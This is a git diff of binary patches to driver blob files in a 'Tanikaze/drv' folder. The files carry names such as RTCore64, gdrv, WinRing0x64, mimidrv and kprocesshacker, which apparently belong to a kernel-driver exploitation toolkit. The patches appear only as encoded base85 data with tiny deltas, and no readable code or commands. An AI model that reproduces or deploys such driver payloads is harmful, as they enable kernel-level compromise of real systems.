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 delta 18 ZcmX>Zbux-`L&FAheHGqSSsOVWbOB4`2Lb>9 diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index a7a2b4e6816e2081f7507feb62fd8ef8cf174a20..c85223c59a7a6d3325724c5fa1098a2cdbe918d8 100644 GIT binary patch delta 18 ZcmZp&YqI0q(6GV$zPv_|??%p_asWhq2R8r! delta 18 ZcmZp&YqI0q(6GVWp7-zStc{#MI0A^+g>i_@% delta 20 ccmeykhVkPXM$Qcl8_dri*}XbzBWFe!0B}zVH~;_u diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index 4df8395cd32af70c8c594555f819466302dc1190..e694a756e429c7c251067b5d5b98092f9eeee907 100644 GIT binary patch delta 20 ccmX@Ghw;E3M$Qcl8_fML+zWbS#K-L&FAheTy@}z8g7hH33bs2Sfk> delta 18 acmX>WbS#K-L&FC1`Jb1p&f3Uns|f&E0|>kT diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index d2be1b6ab65606d9650f16c6a8ab7d24af4d7645..6786911897a8b1b24a751e55fd9219fa8ce75191 100644 GIT binary patch delta 20 bcmX@v!+5fXk#j@C2J`t2;z7O}IUU>pSkwoi delta 20 ccmX@v!+5fXk#j@C26O(-7pt>2ayqyH0A6Ycq5uE@ diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 8797880d49f411d55c0bc1355602c904ca21afb9..4841de70e81da98d81d216dabdf565fc35a337ba 100644 GIT binary patch delta 18 ZcmbR2IN6bNL&FAh{hq`i-;JDI3IIh42Iv3) delta 18 ZcmbR2IN6bNL&FC1elGJ>SsOXK6aYol2N3`O diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index 0036be7337b85c1780982d4a336574dc9a682f6a..cb87a47d1f82fc33e0f8754da41a6b28c8308619 100644 GIT binary patch delta 18 ZcmbR2IN6bNL&FAh{?51{-;JDI3IIdB2EqUU delta 18 acmbR2IN6bNL&FC1`isV^vNm#dDF6UVVF$zj diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index a786a12c2e9793cee7597c55c3d39dbb34313a96..e1c577dd451816992377d7de78bf6eb9d5d25932 100644 GIT binary patch delta 18 ZcmeyD@-KyRL&FAhec7ZS-;JE5MgUY72a^B* delta 18 ZcmeyD@-KyRL&FC1dI!T*SsOV^jR09m2uc6| diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index c5bbcbcb134364d0eaaa11fc5b0ed06c4327fdd5..a9d13f1f2a0dee2e4d2fb15ded64924751680f34 100644 GIT binary patch delta 20 ccmaE`it)iJM$Qcl8_exz;SnE?P(TL=9B diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index f3c7d6d0ab07e8c0f23f86764013bae96f99d14c..00ff7e3db53ccce1554040a08d5a1415e9dd9d31 100644 GIT binary patch delta 18 acmdmLz15m?L&FC1|12g!z8g8$$N~ULut diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin index aadac56ef2dfaeba958d993de0875d78e0eebc7a..1c1e85e06c3fd30dd75a6328829aeccd4a037889 100644 GIT binary patch delta 18 ZcmaD{^tgy~L&FC1`Ef!)z8g8CECE&82gU#Z delta 18 acmaD{^tgy~L&FC1|NhTcXKmz+vIGEOJPBd| diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index 84a3db8ee75fda8c58ad051cdd7bc8fb2ab93b74..8897a065c2f81bb30f11adbe137561f316c497bc 100644 GIT binary patch delta 18 acmdmLx7ChwL&FC1_ooeld^d9H$O8aR(g&3Q delta 18 acmdmLx7ChwL&FAh|DUa^vo><-$O8aSoCodz diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index ffd5d568bf33f46cde6b4cc067443d5aa642baac..16f88f493bdc7765e5e797c111ea7630a2fd714a 100644 GIT binary patch delta 23 fcmex)oAu{yR?ZC#8_fHs@C5lba&F~h{E!O(iO>p1 delta 23 fcmex)oAu{yR?ZC#8_eIgK3tvE$hno1@k1^Eng$Ew diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index 756d60221a7c2d81e3a00884adec67a6ed502943..1e692bf83bc7955702274e2bdeae1dee5b4630cb 100644 GIT binary patch delta 20 ccmaDgjq%kqM$Qcl8_e_Fo&@`D;M1& delta 20 ccmaDlmHFvZX3h-_8_eaOd|REhk@Lq+C>(6GULf2MMf??z5$V*pAA2HyYx delta 18 ZcmeB4>q+C>(6GT=U-8%Ktc{$^#sEt{2UGw6 diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin index 21872045a089c2f39a4d85cc1139fdcde8d0f5dd..40c7ec43564c7adef2da462efcef2f0808f1304e 100644 GIT binary patch delta 18 ZcmeB9=uY6=(6GUrUo1MvcOxg00RTbZ1_A&8 delta 18 ZcmeB9=uY6=(6GV0K2B#<)<#Yy0{}^A2LJ#7 diff --git a/Source/Tanikaze/drv/eleetx1.bin b/Source/Tanikaze/drv/eleetx1.bin index f5f1cdaa57aaa9a3b872579531155a55f956d824..1a010aea9d4ea8224efbd8e16559e7b23963e793 100644 GIT binary patch delta 20 ccmeBO%GkSz>% diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index 90ac68bb60b38d06f366f652388c279b4fe5b6ad..cee572efae4669b48160dd4ac33918f4d1b8b8b3 100644 GIT binary patch delta 18 acmbOiH7|;DL&FAh|8=*5eK&H7>H+{xNC$)f delta 18 acmbOiH7|;DL&FC1^?qwtXKmyZ)dc`h4hPHt diff --git a/Source/Tanikaze/drv/etdsupp.bin b/Source/Tanikaze/drv/etdsupp.bin index b64e948115e55a8e887e0cf3a4e6ac55a41825fb..5d0915c5fbb2f31e919172cd25260c89e0f6f954 100644 GIT binary patch delta 20 bcmccG&3Lt&k#j@C26KJ;^dR4joM&7CS-c1$ delta 20 ccmccG&3Lt&k#j@C2J?O$i&a@0InTHP0A1V&wEzGB diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index 56a5fccdc6b3af2b909f38797b5eb0e3236456f4..d3012cb61eec97bf9361e9e6c5af6ea8adee7028 100644 GIT binary patch delta 18 acmdm!x+j%$L&FAh{neL)eK&G$HUa=sdpF delta 20 ccmbPxhjH#5M$Qcl8_fOP+E!<6lxf*fCe95F8_fUT2@mq!$T@cr0A|Mt#Q*>R delta 20 ccmZ2>lxf*fCe95F8_e^cYOKoI$T@cr0Ap7Pga7~l diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index 207776f84c22e481a5af61d696149cabe6fc96d3..d15c5492fd4998e6b41336c7ff256994337679f9 100644 GIT binary patch delta 20 ccmcaNh4J1LM$Qcl8_e(jRSELl$QkMd0A;2K{{R30 delta 20 ccmcaNh4J1LM$Qcl8_e}D{9K*2ku%f_0A`2@Z2$lO diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 2da21b809318ad3aac64432d68a468bcf32383c9..f8fddfebb05eb9a9ff06d36f1be6b513ac3fed19 100644 GIT binary patch delta 18 Zcmdm#uqlCaL&FAhd7q=fz8g6;4FF7t2Pgml delta 18 acmdm#uqlCaL&FC1e)c)5vo>;S8UO%K(g&Xa diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index 162f2f8869a03f28d0a7078ad16659c0e4cd3e5f..80733c511f5d253fd716a19db68a771efda775b1 100644 GIT binary patch delta 18 ZcmaD>^{k3>L&FC1^PyTnz8g7XZ2?(Y2qFLg delta 18 acmaD>^{k3>L&FAh`&s{2XKmz+wFLlP>-K9oZ{{PP__pF delta 20 ccmZ3`$GD)6k#j@C2J`$WdaJTFa*DeH09OtN+yDRo diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index f13bae924acdf7d550d553daa103b1b29ab0cd81..f214e020de07701cc8005de2416d876387ca2b79 100644 GIT binary patch delta 18 Zcmdm#xha!#L&FAh`-+Sp-;JCrO#n`t2dn@9 delta 18 acmdm#xha!#L&FC1`I)w>vNm$AGywoo_XtM- diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index 0171421f2d504f1228f147a405a00a195a8aea53..f866db89da38cc36a340acda9870f5dc84e3b3cf 100644 GIT binary patch delta 18 ZcmcbZbuo)`L&FAhf0g1O-;JCerT|b?2U7q5 delta 18 acmcbZbuo)`L&FC1^`S>rXKm#4Fa-cw8wjfa diff --git a/Source/Tanikaze/drv/procexp1627.bin b/Source/Tanikaze/drv/procexp1627.bin index 13420a1b9ec631638eda18657a4f404cebb9e310..664c82a2e152e84a4ad6573e4b080e08aa1bcb12 100644 GIT binary patch delta 20 bcmeC4$k;uRk#j@C26O(8HbK4{Ih#BHQjQ0@ delta 20 ccmeC4$k;uRk#j@C2J`wA(^qG0(^b delta 20 ccmZ2|m~r)CM$Qcl8_eU4I#*|Hi_@% diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin index 936bbefbc4a703f763e252c330d3efd151f8accf..3bfd0daa32e1be3ee59f888bf0ae1b152cf09906 100644 GIT binary patch delta 20 ccmZ2IgK6~)Ce95F8_eH3dItG!